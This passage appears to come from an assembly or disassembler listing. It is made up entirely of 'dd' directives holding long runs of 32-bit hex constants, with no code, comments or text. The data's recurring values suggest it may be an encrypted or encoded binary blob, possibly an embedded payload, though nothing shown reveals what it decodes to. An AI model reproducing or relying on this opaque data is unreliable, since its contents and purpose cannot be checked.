74FFCAB2h, 96697703h, 15664433h dd 78DBA1CAh, 15600102h, 4770C3Dh, 0AE064432h, 482BF09h dd 2E071384h, 2C3D2B7h, 57E34B34h, 0ED662232h, 71794B9h dd 18F8E22h, 77664432h, 9262A893h, 5BEFD850h, 609CED11h dd 555D9133h, 47D6C5ADh, 0B9450388h, 0C840963h, 0D42AA351h dd 0DFE727D8h, 20FB2B76h, 0D1C57AB3h, 0C24F8C50h, 6ED44268h dd 77E32A53h, 1A609F97h, 156672B7h, 19E12D32h, 1A661132h dd 15668EB7h, 15EF4B32h, 9E662232h, 54C70B7h, 0AD9E834h dd 7501585Bh, 75B0953Dh, 43077053h, 0DE09118Ch, 7390C566h dd 3CCD16A2h, 2E934FC5h, 2C3D6B7h, 2BE34B34h, 75662232h dd 15661FDAh, 0CB733432h, 0B19830DDh, 0D6D4D41Bh, 75552559h dd 0FDE7D753h, 5410F8EFh, 90EDD753h, 1376323Fh, 156682DBh dd 6F774E32h, 79A1ADB8h, 42825108h, 544284B5h, 4A4248B5h dd 73E319CBh, 1A600697h, 1566BFB7h, 90EDBD32h, 13762BCFh dd 156616DBh, 0FB24A732h, 4179812h, 15679C64h, 0E2671132h dd 1DE5876Ch, 1A664432h, 156620B9h, 1A077132h, 15668FB8h dd 0D1E62432h, 74B1A9E5h, 0B00C9409h, 90698E25h, 15664405h dd 0F4E3A9CAh, 0FC60012Fh, 15668823h, 183C62Dh, 3D9B7EA4h dd 0A8009394h, 56BF0FF3h, 0EADF1599h, 3C99DDCDh, 198F48FDh dd 75668832h, 0F8378884h, 0A6F83496h, 2E51CFDFh, 2C3E6B7h dd 7FE34B34h, 0EC662232h, 82B94B9h, 0FC068E22h, 1566443Dh dd 0F687D056h, 4188DFDFh, 6E131C4Ah, 0A03AE6FAh, 48F43CDh dd 5661132h, 519A9986h, 957AB7AAh, 6F811B63h, 0CF4A1EB2h dd 0EA993361h, 0CA4FBBCDh, 188F4269h, 32661132h, 0E170E0Fh dd 0C85FF361h, 0A2E8584h, 15749F3Dh, 198E8832h, 46664432h dd 932B9421h, 1091D133h, 4BF1B113h, 67E37F53h, 1A603597h dd 15662DB7h, 90ED7432h, 1376416Fh, 1576AC3Dh, 1E8F1132h dd 0DD668832h, 0CCA647D5h, 0E7720394h, 0C2E15603h, 4A34DF70h dd 1575AD68h, 0BE7E2232h, 13269DA2h, 0C5B1411Ah, 0EBB65851h dd 3CF0F9DAh, 63E32A92h, 1A609F97h, 15667BB7h, 96694232h dd 15661130h, 0FCE659B8h, 90ED2501h, 13762AA7h, 156602DBh dd 16C20032h, 92B8791Dh, 5B1C7F9Eh, 57F560BCh, 0DD528AD8h dd 1567FA64h, 0E2672232h, 1560F86Ch, 0B3518832h, 9307C5D5h dd 0B01CA709h, 90691725h, 15668864h, 156ECB3Dh, 9A692232h dd 15661130h, 90EDE952h, 13765CF7h, 156EA13Dh, 92691132h dd 15668830h, 94062552h, 784576C3h, 0EBD91E5Ah, 0E1DFD953h dd 944C605Dh, 0B31A1C3h, 0F4A7505Fh, 94B77F36h, 491E3AC3h dd 4CA923BEh, 15619E3Dh, 9E068832h, 0CCED22F8h, 905DD753h dd 1371B44Ch, 15510D3Dh, 78F4432h, 0D2662232h, 77C55688h dd 35A09ABFh, 2EEFB876h, 0BD583436h, 10E39A91h, 0ED60982Ch dd 1567FE60h, 0C2672232h, 156DF868h, 0A8208832h, 0B8362E53h dd 51096727h, 93E32A5Fh, 1A609F97h, 156672B7h, 19E92D32h dd 1A661132h, 15668EB1h, 15E34B32h, 9E662232h, 5682CB7h dd 18EB8734h, 75664432h, 60A1A354h, 15E81E5Ah, 74668832h dd 0EA99FD63h, 0DA4FDDCDh, 2E07716Bh, 2C30AB7h, 7DE34B34h dd 0FC662232h, 1566113Dh, 0D1EF075Eh, 0A8A1D233h, 71A07C8Ah dd 0FC6560ACh, 15668837h, 31E84FA2h, 0D4DBA1FCh, 15600123h dd 155B0D3Dh, 1C8F4432h, 79662232h, 0AA158673h, 50B06F97h dd 156657DBh, 5E67B132h, 10787F44h, 0E2B41E60h, 71A94615h dd 0D5A72E23h, 240B94B9h, 439A8E22h, 0EA99BB8Ch, 4B910BCDh dd 15679B3Dh, 969E8832h, 561058Fh, 91692234h, 1566117Bh dd 1BE3B3CAh, 1A605394h, 15661EB7h, 1569F832h, 1A5D8832h dd 5448CF83h, 0F52001F3h, 0DDFDA30Ch, 0CE30370h, 0FC605410h dd 15662220h, 0EBEEE944h, 0F2A69962h, 0A7E110B9h, 454C4CF8h dd 0F9E57CDFh, 315A0136h, 4A4240CDh, 0BCDBA1CEh, 15600100h dd 176A0C3Dh, 969A4432h, 57FC78Fh, 91691134h, 156689CCh dd 81BFC452h, 1566AF3Dh, 2E071132h, 2C37AB7h, 4DE34B34h dd 1A662232h, 156610BDh, 9E9F7432h, 56CEDB7h, 1563CB34h dd 0A7A1132h, 408477A0h, 0EA99BB8Fh, 48890BCDh, 157A9A3Dh dd 73068832h, 0FDC52F89h, 15662222h, 9D2BE953h, 18610B8Fh dd 0B6C83886h, 0E1472409h, 58F7069h, 3D668832h, 0B1238C56h dd 7A5ABE5Ch, 5B13E8E7h, 2EC0DEA5h, 2C046B7h, 54E32D34h dd 1A661132h, 156689BEh, 9E9FBC32h, 54507B7h, 1568F834h dd 18BC8832h, 571E06FBh, 21920EA3h, 5F7CFB38h, 15673260h dd 0C2674432h, 1574CB68h, 0B34E1132h, 0D4DBEEB0h, 0BE259DB5h dd 0FC2182EFh, 6C54439Bh, 0B0900D09h, 90694225h, 1566221Eh dd 15679E3Dh, 9E9A8832h, 56E81B7h, 1AE12D34h, 0FC661132h dd 15668838h, 7FEB8E79h, 0EDADA666h, 0AD36C7B5h, 0EA9977CDh dd 0EC3E831Bh, 0B360A709h, 90691725h, 1566881Bh, 1CE3CFCBh dd 0FC603230h, 15661134h, 0D85C1BDBh, 0AE35A941h, 15662233h dd 0FC3DCE33h, 1566883Bh, 16F2DAA3h, 4859DBEDh, 1FE32A29h dd 1A609F94h, 15660EB7h, 1563CB32h, 6E9D1132h, 9EBBE934h dd 5785DB7h, 1575CB34h, 0C6E61132h, 79D80D29h, 0D651A0B1h dd 44B8DD6Ch, 0DC0B663Dh, 14DED8D0h, 14664432h, 18F7AF5h dd 0CA661132h, 0C70FC8A7h, 0C5536692h, 0FF292483h, 0B0E2AF5Fh dd 2EAF216Ch, 2C3BEB7h, 5FE32D34h, 1A661132h, 156682B8h dd 0F4EC2432h, 0C2E1C3B3h, 9E077044h, 54731B7h, 9E002434h dd 15E02DC5h, 74661132h, 7406DB52h, 74ACCF68h, 0EA999A62h dd 0D24FEECDh, 7ED876Ah, 75664432h, 156628DAh, 0A64C3232h dd 0F4EF1A8Bh, 4BEB4D7Ah, 0EBE31953h, 1A600697h, 156695B7h dd 90EDBD32h, 13760B03h, 73A09B52h, 0BF3359B3h, 14DC1653h dd 14662232h, 0EC064BE5h, 0A8E5E9CBh, 13765DD7h, 0DDE22D32h dd 1A661138h, 156689BDh, 905DB832h, 137187B8h, 153C943Dh dd 48F8832h, 6D664432h, 0B485575Eh, 3E2548CBh, 81C5A93Dh dd 3ED9FD04h, 2613A7B9h, 94691722h, 1566882Fh, 1571C73Dh dd 78F2232h, 53661132h, 0CBC726D8h, 3F68B3F1h, 0E2C79B42h dd 5CAF331Eh, 0EADFD9E7h, 3C99BBCDh, 188F7BFDh, 24661132h dd 85AACF7Fh, 0BFA4C115h, 1B649619h, 0B3789409h, 90698E25h dd 15664418h, 49E19C52h, 9E005845h, 90EDE9F9h, 13765AB7h dd 1561CB52h, 5BA71132h, 36C12FD9h, 4207B17Eh, 9E4226CDh dd 0D1E5350Eh, 905D7036h, 1371E1BCh, 155DA73Dh, 9E9E1132h dd 557C1B7h, 1568AD34h, 96992232h, 3862B9FBh, 171FB3Dh dd 756B3FEAh, 314AA165h, 0ED064ECDh, 15776162h, 0B85B4432h dd 561A9592h, 0D904A12Eh, 9DCD26Fh, 4E6365ABh, 87E31953h dd 1A600697h, 1566C5B7h, 4E74B32h, 0FC662232h, 1566113Eh dd 0D0A1A68Bh, 0DE08E939h, 0F1DF2FF8h, 341B94B9h, 9F698E22h dd 15664423h, 15662EDBh, 0BE4D2E32h, 0CA44BA57h, 0BEC2F4BCh dd 0EADB779Eh, 3C99EECDh dd 9E69D5DDh, 1566443Bh, 73309652h, 0A24CC8B3h, 905D7053h dd 1371E1A4h, 155BA73Dh, 9D691132h, 15668821h, 15664ADBh dd 8762D532h, 2E943714h, 0B1AE35A5h, 9EEEC071h, 57D5FB7h dd 4793E434h, 0EA997788h, 4FB16DCDh, 15662CDBh, 95CAED32h dd 0C8922B73h, 0D3487231h, 2EE5CE06h, 2C38BB7h, 53E38734h dd 1A664432h, 156632B3h, 156DF832h, 0D0C88832h, 0B7737CCEh dd 7DD05695h, 0D4DB9242h, 15609823h, 1545C13Dh, 9E9E2232h dd 56B84B7h, 55F17434h, 4D391465h, 156632DBh, 106E0F32h dd 0DBB35A2Eh, 0AF9D3554h, 24D7D7E1h, 8BE32AF6h, 1A609F97h dd 156607B7h, 0E72D32h, 0FC661132h, 15668822h, 8DB1059Eh dd 0BFAA837Eh, 0AAE313C7h, 73247FB5h, 19FBC1B9h, 1A062422h dd 156614BBh, 0CCE7EE32h, 9E360C31h, 460778CBh, 15661089h dd 4EB98932h, 14EC4BCAh, 0E9662232h, 0B0C49409h, 90698E25h dd 156644AFh, 156629DBh, 0E2A29632h, 0E7ABDBEBh, 0C5CBA9A2h dd 1575AD3Dh, 73061132h, 72C869B3h, 156643DBh, 0B6157932h dd 0F279C6DCh, 0D4DB0B53h, 15605423h, 1501A73Dh, 0AA061132h dd 3DE6EAAh, 1572AD64h, 85F62232h, 2ED65AC9h, 2D90F76Fh dd 0B3EC3F4Dh, 9942D6AEh, 743EF306h, 132B0DB9h, 73064222h dd 0D3F9FBB3h, 0D6D84753h, 9458732Dh, 0C626ABDCh, 0D4B0D57Fh dd 0D3E714DCh, 0EAEFB6C4h, 1A38B31Bh, 15663ABDh, 7E11E32h dd 0FC668832h, 1566443Fh, 0B8B44608h, 9F03E23Dh, 2F7D9AD2h dd 0B3E37F37h, 1A603597h, 156659B7h, 156C6132h, 50154432h dd 17BCCE0Fh, 314011F6h, 3CA70DB9h, 94694222h, 1566222Ah dd 156602DBh, 6D0CD132h, 470442E8h, 0F280ACCFh, 0F81D6973h dd 8619E804h, 1567FA64h, 0E2672232h, 1561F86Ch, 0A3228832h dd 1476FB0Ah, 0BFE31918h, 1A600697h, 1566B4B7h, 19EA4B32h dd 0FC662232h, 15661135h, 15BB4375h, 75A7BD4Bh, 1AAF9D3Dh dd 9E07CE85h, 56921B7h, 0AB30B834h, 0EA99DDCDh, 1A38E61Bh dd 156684BFh, 13EF4B32h, 1A662232h, 156611BAh, 0A7E3B332h dd 1A605397h, 1566A1B7h, 92697132h, 15668830h, 1E8F1B62h dd 10662232h, 9DB16038h, 8BBEC975h, 96070F2Fh, 577E38Fh dd 90691134h, 1566886Eh, 1561C23Dh, 9C692232h, 15661133h dd 0D0E303CBh, 0ED605415h, 466C9A62h, 0AC5349F4h, 0D44C073Ch dd 0EA534CD2h, 3CD0807Eh, 940649F5h, 0B35AD1D5h, 1E8F243Fh dd 5B662232h, 988EA130h, 2D1A56A2h, 740737A7h, 156631DBh dd 1124C32h, 25FFE575h, 3D931CA5h, 0B963FA5Ch, 0D1D28469h dd 0B0C80D09h, 90694225h, 1566220Dh, 1567933Dh, 969A8832h dd 577858Fh, 90692234h, 15661119h, 1CE303CBh, 75605412h dd 1566AE3Dh, 1D8E1132h, 98668832h, 6E05B9CBh, 73509DDCh dd 4B3C408Ah, 14DED853h, 14664432h, 2E937AF5h, 2C3A7B7h dd 25E38734h, 0E0664432h, 0BC7A7B9h, 9D691722h, 15668836h dd 74072452h, 6DA59F67h, 0E0E72A13h, 0D1B80F0Eh, 1A3BAB1Bh dd 156628B4h, 9B697132h, 15668832h, 2E079CB9h, 2C398B7h dd 50E31E34h, 0FC668832h, 1566443Fh, 5A442072h, 86945F64h dd 0F6774DE7h, 156FADEFh, 0B8872232h, 59C0EB2Eh, 9EB90F25h dd 56BE1B7h, 0AA694234h, 0F7E777C5h, 4607D47Bh, 15664589h dd 4EB92332h, 156616DBh, 754AF532h, 0AFE050E7h, 0B0D8A709h dd 90691725h, 15668869h, 156ECA3Dh, 93692232h, 15661130h dd 90EDE952h, 13765FA3h, 156BCB52h, 0EFA91132h, 4074AAA5h dd 3333514Fh, 944A6915h, 56ECFDC3h, 150EE964h, 9C664413h dd 1199060Eh, 90694E16h, 15668829h, 1573C73Dh, 58F2232h dd 2D661132h, 9139F68h, 56724450h, 7AEE906h, 2E9D5941h dd 2C34AB7h, 31E34B34h, 0E0662232h, 1B5794B9h, 449A8E22h dd 0EA99BB8Bh, 4CA90BCDh, 15661FDBh, 30012932h, 19AD1C9Fh dd 4B1E8CD1h, 2E703F34h, 2C34EB7h, 5DE34B34h, 1A662232h dd 156616B1h, 4A37E832h, 74059EB2h, 110BA7B9h, 1D8F1722h dd 0F668832h, 0A1A5912Bh, 421D5628h, 9E4215CDh, 0D1E5AC0Eh dd 1EEC4B36h, 0FC662232h, 15661134h, 8365F5D1h, 0FC065D73h dd 15662234h, 0AB927FDEh, 2E07767Fh, 2C38EB7h, 49E32D34h dd 0FC661132h, 15668823h, 3DDB73BCh, 619D1954h, 386BE788h dd 0EB64CC8Ch, 0CCE3CF18h, 1A60321Fh, 15661CB9h, 9469E832h dd 15664432h, 0C5270F88h, 9F697076h, 15668833h, 0EADD17CEh dd 3C99DDCDh, 0FD064AEDh, 15668834h, 958DF5DDh, 138EAB64h dd 0BC661132h, 11F9AFD8h, 1A3C1CC8h, 2E07E48Dh, 2C3DFB7h dd 3BE38734h, 0E0664432h, 9BFA7B9h, 188F1722h, 0E4668832h dd 926538C5h, 0EA8E1049h, 56B3884Ah, 9AE3062h, 6863058Ch dd 5D3DF919h, 73D1AA37h, 4DA1A150h, 0C7E37FCEh, 1A603597h dd 15669BB7h, 18EE832h, 0EB664432h, 369A74BFh, 6DB65721h dd 0A351E952h, 0BEEF48EBh, 4AC46561h, 0D2D11E52h, 156687DBh dd 0A2208432h, 3EF60260h, 80287288h, 0C2F6D1Bh, 90ED2553h dd 137634AFh, 1569F952h, 45898832h, 887F96CAh, 18299DCFh dd 0AC079BDEh, 60F83632h, 753E2856h, 1566A93Dh, 9E001132h dd 4607E9CCh, 0EA99BB89h, 4EB90BCDh, 7EB1E52h, 0FC668832h dd 1566443Fh, 0B161BC2h, 480E0825h, 0F73200ACh, 0B395FDA5h dd 2E075F67h, 56B78B7h, 79E38734h, 0FC664432h, 15662221h dd 6BD97756h, 6BE7B23Dh, 3CACE6Bh, 55894884h, 0FCD89171h dd 1566883Ah, 0C8A777BAh, 596AA4BCh, 0E6B94B9h, 91698E22h dd 15664426h, 97DC4452h, 156FF8F2h, 57538832h, 2221CA9Eh dd 741B747Eh, 1567AC67h, 0FA678832h, 0DE84B6Fh, 75662232h dd 156601DBh, 8B96BF32h, 49A79497h, 27040424h, 0B2278D5Bh dd 2E07709Fh, 2C392B7h, 20E32D34h, 0EC661132h, 0BA70DB9h dd 188F4222h, 0A6662232h, 0BF65A045h, 5B934650h, 0FE044D25h dd 14DC70CBh, 14661132h, 9569D2E5h, 1566443Eh, 1560A43Dh dd 93691132h, 15668832h, 0B374C109h, 90692425h, 156611A7h dd 0CCE7EE52h, 0ECED251Fh, 156FCB53h, 0BD0B1132h, 0E194A1FAh dd 96224510h, 2C0388Fh, 90691134h, 15668813h, 0A8E5B1CBh dd 13763EA7h, 77E21E32h, 0FC668832h, 1566443Fh, 0C5272D79h dd 3870849Fh, 0B9AF976Bh, 38E3CF6Dh, 0FC60323Ah, 15661120h dd 24A91DAEh, 63D80B28h, 0D79AC569h, 0E753E589h, 1A06FD1Ah dd 15664FB6h, 1563CA32h, 0B5021132h, 4B7D26F6h, 86B1C464h dd 9231436Bh, 9227353Eh, 1A39AC3Eh, 156648B1h, 93694232h dd 15661132h, 0D41C3154h, 3E37F53h, 1A603594h, 156692B7h dd 15636132h, 4E904432h, 9615ED55h, 2C00B8Fh, 90698834h dd 15664470h, 156AA33Dh, 95691132h, 15668834h, 1566C63Dh dd 0A8E52232h, 13760DA7h, 58E28732h, 0FC664432h, 15662226h dd 0ADD40C7Dh, 4B10731Fh, 86F26AC6h, 8F660A05h, 1C5DAD95h dd 0E3E7EE52h, 0AA69A4F4h, 90ED43E8h, 13760DE3h, 0DBEDEE52h dd 74A4CF54h, 15679B63h, 0DA671132h, 1568616Bh, 0CC6A4432h dd 0EFF93F38h, 2F040F5h, 97AED313h, 0B0BCC109h, 90692425h dd 15661162h, 8E303C7h, 7560541Fh, 156633DBh, 51E79132h dd 0BC8D9BDh, 0F55628F7h, 0FEB5B24Ah, 0CCE6FA18h, 0AE35E980h dd 0EA99BBCDh, 0FC3DFD1Bh, 1566113Ah, 36259917h, 0C80BE7BAh dd 156631DBh, 0E42A5932h dd 0D982F2E1h, 7F98062Dh, 1CE68655h, 22F4D687h, 0B0B80D09h dd 90694225h, 1566227Dh, 1569F8CBh, 2CED8832h, 0F3CFA17Bh dd 0DC0ED7AAh, 0E7930B25h, 10E303DAh, 0ED605411h, 6E449B63h dd 0CC917C8Bh, 5FE149B3h, 0D4E75E81h, 466012A8h, 1A3FDE1Bh dd 15669EB1h, 1577AD32h, 7AB72232h, 25866962h, 0DBF02E06h dd 3D74A3D3h, 2E3541A7h, 2C3F3B7h, 61E38734h, 75664432h dd 156636DAh, 4A323232h, 0BD564C00h, 3ED29627h, 7AE70F7Ch dd 0C9F43BB2h, 0C1DFEE79h, 128E1C0Bh, 92662232h, 0D89F2CF2h dd 0AA006582h, 74395BEFh, 35AFA7B9h, 48F1722h, 96668832h dd 0CE340CB6h, 13CE8982h, 0D41693F2h, 91499CCEh, 7EC2FF61h dd 0D6E76233h, 143C7127h, 212E4BB3h, 0CA67FA96h, 156BCB69h dd 0CD931132h, 10079640h, 6D9E0259h, 2E6F88CAh, 2C3F7B7h dd 0DE38734h, 0EC664432h, 1ADBA7B9h, 108F1722h, 99668832h dd 2DB125B2h, 314AA165h, 2E9E4ECDh, 2C362B7h, 56E34B34h dd 0FC662232h, 15661137h, 0F0561FEAh, 40E3CFA8h, 0E0603213h dd 1567AC67h, 0FA678832h, 0AF00246Fh, 58E377Dh, 0EA661132h dd 6782E8A7h, 8916C380h, 0EF19BACh, 0FC12367Bh, 1566883Ah dd 2763FACEh, 7D288E30h, 905D706Ch, 13712DDCh, 154BC13Dh dd 9E9E2232h, 55564B7h, 19EA8734h, 1A664432h, 156624B7h dd 15E31E32h, 45668832h, 1566458Ah, 4DA12332h, 0EFED7752h dd 82CA43B3h, 1E072440h, 3EE22DCDh, 75661132h, 0EF880954h dd 0CBD14B50h, 0F98CCB53h, 0FC06EECDh, 1566883Fh, 18116BEFh dd 0B8EF1496h, 7F6A3546h, 17E0876Fh, 75664432h, 905D4353h dd 137610F7h, 15470D3Dh, 98694432h, 1566223Ah, 1564983Dh dd 74068832h, 2BE3C9CBh, 0E9603575h, 0EA8AB6DBh, 7506E8CDh dd 2E072553h, 5669FB7h, 7EE31E34h, 0ED668832h, 15664DDBh dd 0BC03D232h, 7831BB54h, 0A8E5B69Bh, 1371E108h, 5AE32D33h dd 75661132h, 55456B3h, 58F1507h, 0F0662232h, 95AA4671h dd 2543093h, 0F1F70E2Fh, 74CFF8AFh, 156602DBh, 0A9F63332h dd 0B46E9E40h, 48EBAD02h, 4DE71D63h, 574FF01Dh, 1E01C1BFh dd 1C8F226Bh, 19661132h, 14005688h, 8D133F92h, 0EA8A09DBh dd 905DEDCDh, 13712D78h, 1541C03Dh, 1B8F2232h, 8A661132h dd 0CB84CDA4h, 0DBDD686Ch, 0D984515Eh, 5BE32AEFh, 1A609F97h dd 156606B7h, 17E82D32h, 75661132h, 0FE946153h, 198FBBCDh dd 0A2662232h, 1169E4Fh, 957650C1h, 1AB45AF7h, 15663CB2h dd 48F7132h, 0BE668832h, 0DAC69116h, 35022220h, 0F3364C80h dd 928BFAB3h, 1566CB3Dh, 7D072232h, 15661132h, 9642BCB9h dd 730640F6h, 9B69EAB9h, 15661130h, 9607E952h, 906945CCh dd 156622D6h, 15779B3Dh, 198F8832h, 5D664432h, 0D057C28Dh dd 7D1602C7h, 2E4C2348h, 2C37AB7h, 4CE32D34h, 75661132h dd 0C8B50954h, 1B8F12B1h, 8E662232h, 2DF4DF3Bh, 0B58D1969h dd 1148E037h, 98077DE9h, 4DE1D5B7h, 15756132h, 1BC74432h dd 44A6E91Eh, 88D738CBh, 6E0BE1F7h, 0FF1102B2h, 0FE5CCB57h dd 0FC06EECDh, 15668839h, 5B79ECC8h, 155EC32Bh, 467EFF38h dd 1DB36AB3h, 743C63FFh, 0B024A709h, 90691725h, 15668816h dd 2FE3C9CEh, 0E9667ABAh, 0EA8D16DBh, 81D9E8CDh, 9445F21Ah dd 15E3AFC3h, 73067021h, 0D7D979B9h, 744A037Ah, 0B020A709h dd 90691725h, 1566881Eh, 156EC63Dh, 9A692232h, 15661130h dd 90EBE952h, 153ECC4Dh, 156AA33Dh, 9B691132h, 15668834h dd 1566C63Dh, 0AC8F2232h, 0E099EED8h, 43A00164h, 1A8F1A6Ah dd 62662232h, 0A7BFB59Ch, 88099C8Eh, 38259F51h, 0C5D85D56h dd 942C7877h, 0EA9977F4h, 26A0C5CDh, 1AD3B488h, 156616BBh dd 14E18732h, 0E9664432h, 9069D439h, 1566111Bh, 749F7052h dd 0EA8C78DBh, 0FE82DCDh, 75661132h, 0FC983F3Dh, 15664422h dd 8578ADEh, 38D84546h, 3EDD183h, 0E677F1B9h, 37B64A53h dd 11EF1132h, 9269D616h, 15664433h, 0F0D3ABC7h, 1A60011Fh dd 156681B6h, 74062432h, 0F657738Dh, 0A0EF7077h, 137682A3h dd 0D5E72252h, 68F6B50h, 7D661132h, 0CAF4B73Ah, 0ACE8428Ch dd 86567795h, 0E212E721h, 9507D4BBh, 9069AD0Ch, 156622EDh dd 156D973Dh, 138F8832h, 0FB664432h, 28CF6877h, 1410EEDAh dd 9442B4B9h, 156640F6h, 12E52D32h, 1A661132h, 156689B1h dd 0FAE7BC32h, 2A23255Bh, 17B2D6B3h, 0E26784A5h, 17B2ABB3h dd 0D2E72EA5h, 2A23165Bh, 156A033Dh, 128F4432h, 95662232h dd 61328B55h, 4631447Fh, 0CAEFB7BBh, 4A9DAB69h, 1560F852h dd 0B0888832h, 1ADC7B92h, 74A8F0B2h, 152FEE5Ah, 316A0132h dd 0DC59878Bh, 57A7A307h, 941B344Eh, 921C3BF3h, 5DA7C504h dd 1470A83Bh, 58F48F9h, 43668832h, 0D0D72520h, 320A6047h dd 8341DA13h, 2E540CAFh, 54BA18Fh, 35E42D34h, 0FC661132h dd 15668820h, 8A7F30C2h, 0EDF9C9F4h, 7EBD1A59h, 2413227Eh dd 0EE5D3172h, 156BA43Dh, 0FC9A1132h, 0EA9960C3h, 1567CA3Dh dd 9E9A2232h, 56C348Fh, 0E68734h, 0FC664432h, 15662222h dd 0E6387E0Dh, 3B6186B8h, 0DCA657B7h, 42A74F0Dh, 3D3B94F5h dd 15668E22h, 95064432h, 7507AAD1h, 0E4ED7752h, 156681DBh dd 0D6799732h, 1066DB34h, 9C076CF6h, 56C1987h, 18E2434h dd 3D662232h, 56A2728Ah, 729F7FD6h, 7B7F81BFh, 403A8CCDh dd 1A7317D5h, 156688B0h, 96691D32h, 15662234h, 1566923Dh dd 98078832h, 0D4E84AFh, 94004234h, 748922C2h, 1A065BCDh dd 188F838Dh, 7F662232h, 8EC6F0C3h, 2B2457F4h, 0F68F750Eh dd 1AA62953h, 156639B6h, 156D6132h, 0C5834432h, 4DA716B3h dd 57DEC05Dh, 15E16163h, 1A064432h, 156624B7h, 15EC1E32h dd 73668832h, 81C4A6B3h, 24FBAF53h, 0FC6004A8h, 1566883Ch dd 0CA9F7BC7h, 0C12187EDh, 0D221CF4Fh, 0C69992A6h, 0EA33C73Dh dd 0EC06DDCDh, 74F6DDB2h, 1567073Dh, 9E9A4432h, 56CB387h dd 0A0EFE834h, 1376A06Fh, 15664CDBh, 6399A432h, 63EA6FD8h dd 0D8FB051Bh, 0FC60529Ch, 15662226h, 0E968E0F3h, 0ECB5F689h dd 20C832B9h, 2902AE46h, 0B4636625h, 138F5BCDh, 11664432h dd 38A53E16h, 0F0E39AD6h, 0FC60981Fh, 15664438h, 603BABB4h dd 0A440A6F8h, 90EF81AEh, 13764EA3h, 1D8E4252h, 0B9661132h dd 85830E5Bh, 4E4EBE94h, 156632DBh, 3A96BF32h, 0FA2E1F12h dd 0C533830Ch, 853B50A3h, 740770FCh, 15669BDBh, 45290832h dd 5B5E0DAAh, 633736EEh, 7A217E16h, 55CDECC4h, 1A8E1CB2h dd 1566F8B7h, 0F4D3E832h, 9607A783h, 549DF8Fh, 91691134h dd 156688E4h, 18D82452h, 7566A3A8h, 96077053h, 19EF8CDEh dd 0A541F516h, 4CAE22F0h, 156619DBh, 106A1D32h, 0AE8FFD5Ah dd 30EF2D67h, 75661132h, 156683DBh, 0CA661732h, 0BA31EE2Eh dd 0E819BBACh, 156686DBh, 0EC55E432h, 2046FF19h, 0C3C0E564h dd 74B89304h, 1575AD98h, 6C812232h, 0E5C50CF4h, 0D9CC05B8h dd 0DC828957h, 0F4A72DF9h, 21DF79A2h, 21EF8832h, 1D8F1C16h dd 71662232h, 0E8BA5D17h, 449C709Ah, 0E664D28Bh, 4CAE0B42h dd 8363E91Bh, 0FC167B30h, 15664421h, 0C5C4D640h, 8C018436h dd 0B42F5538h, 6DF88995h, 46AFB21Ch, 15661589h, 2FC88D32h dd 0CD4F4BCDh, 0EA5C8C1Fh, 0FD064A3Dh, 15668838h, 913E64B8h dd 0F351B3BDh, 7406537Ch dd 0EDCDE96Ch, 156440DBh, 88EBDA32h, 137E1EEEh, 0E0B577CBh dd 3633D9BFh, 1A06242Ah, 9F35D985h, 0EA07D1E1h, 1574ADE1h dd 0CC9E2232h, 0A8F9479Ch, 0D7B59132h, 790870CAh, 0F248BB21h dd 9069D139h, 15668810h, 156641DBh, 4CFD8B32h, 2A8FCE7Fh dd 0FC668832h, 1566443Ch, 0FF698C42h, 57F8069Fh, 2B94F375h dd 90E5475Eh, 137628A3h, 12ED1E37h, 75668832h, 0A4B6CF54h dd 8C8F430Ah, 0FC99EECCh, 1566883Ch, 0C02E39F4h, 615699Eh dd 6CD6E8E4h, 88EB7EFBh, 137E61AEh, 0EDB5DDCAh, 17E71E52h dd 9E668832h, 0D56D25E2h, 156CA73Dh, 0FC931132h, 15668800h dd 744FF552h, 1537915Ah, 316A9832h, 15668C8Bh, 4CAC4532h dd 15662ADBh, 4516332h, 1A92EDAFh, 1455AD62h, 99692232h dd 15661134h, 75AD0352h, 88EB2553h, 1373B803h, 156CF852h dd 701B8832h, 37DAA4A6h, 0A85506CBh, 1AB5EE53h, 1566D8B1h dd 1DE24B32h, 75662232h, 15669F3Dh, 1A078832h, 156645B7h dd 0A0EDDB32h, 13761BA3h, 1BE68752h, 0FD664432h, 1566223Ah dd 87379AA0h, 7EC76DE3h, 1572AD6Ch, 0FDC22232h, 1E8586C3h dd 1AA9DB41h, 902C8D37h, 9F49D805h, 0FC07D610h, 1566A33Ch dd 84EBCFC7h, 0FC603238h, 15661137h, 87B9DEDCh, 1568AD8Dh dd 99EC2232h, 7DD8F810h, 728CE1FAh, 2F331516h, 1FF797BBh dd 188F1722h, 0F0668832h, 5AEEAB50h, 8721218Eh, 6FD16F85h dd 48F149B3h, 0FCE75592h, 7C536387h, 0D4E7E01Bh, 7C53C987h dd 48F1ADB3h, 108F3392h, 0C5661132h, 0D9085C90h, 316ABB63h dd 0FCB7D56Bh, 15661122h, 7DC610B9h, 5BB648F8h, 9C29D936h dd 5114FFB6h, 1ECC66B3h, 0DB4F7134h, 1ECC9961h, 0CB672434h dd 0B1957069h, 15664ADBh, 0D1B3F232h, 3B5ADCFFh, 0F89B631Eh dd 0FCE5534Ah, 0EA99DF2Eh, 156D9C3Dh, 138F8832h, 6E664432h dd 0B48CB9F6h, 28FB9CB0h, 1A609E83h, 156665B4h, 18F4232h dd 0EA661132h, 2D31C71Bh, 2E375694h, 0A936D13Eh, 4FB77080h dd 1A076A34h, 156644BAh, 0EA9E4332h, 9C33E9E1h, 9E8E01CFh dd 0D1E5601Eh, 9E9A4236h, 904D70C3h, 13768217h, 2E04BCEh dd 75662232h, 188E7052h, 0A668832h, 8F8DE76Ch, 4B957022h dd 0CE7B3F1Dh, 90EFE96Dh, 13766DC3h, 30E3A9CEh, 75600138h dd 7D078882h, 15663245h, 75421EBBh, 9C3670CAh, 15628DD2h dd 114B4432h, 92662232h, 9C3A3536h, 9469AC36h, 1566443Ah dd 1564A03Dh, 74061132h, 0A13B05BFh, 46064224h, 22E95E8Ch dd 0EA07485Fh, 78FE8E3h, 0E7664432h, 55F22762h, 7CC3708Ch dd 0E51ADE3Fh, 7E39071Fh, 9E07D702h, 57468B7h, 1A06E834h dd 156644BEh, 20DE4432h, 0CFE770CEh, 3A331479h, 0F4EF1553h dd 1562E3B3h, 0FCE51132h, 316A0F36h, 3162CD6Eh, 7E004ACBh dd 29EF1132h, 90ED7416h, 13764E17h, 56AF4ACBh, 11EF1132h dd 15686116h, 8594432h, 5768FD90h, 79F372E5h, 999E6212h dd 0A07EC9BFh, 97692424h, 15661135h, 59523752h, 0EA0752B5h dd 1B8F42E3h, 1E661132h, 0E985B2D3h, 90D5720Ch, 0BF4EB3F4h dd 156AF86Bh, 76C18832h, 57D2AFD7h, 0AEF17B47h, 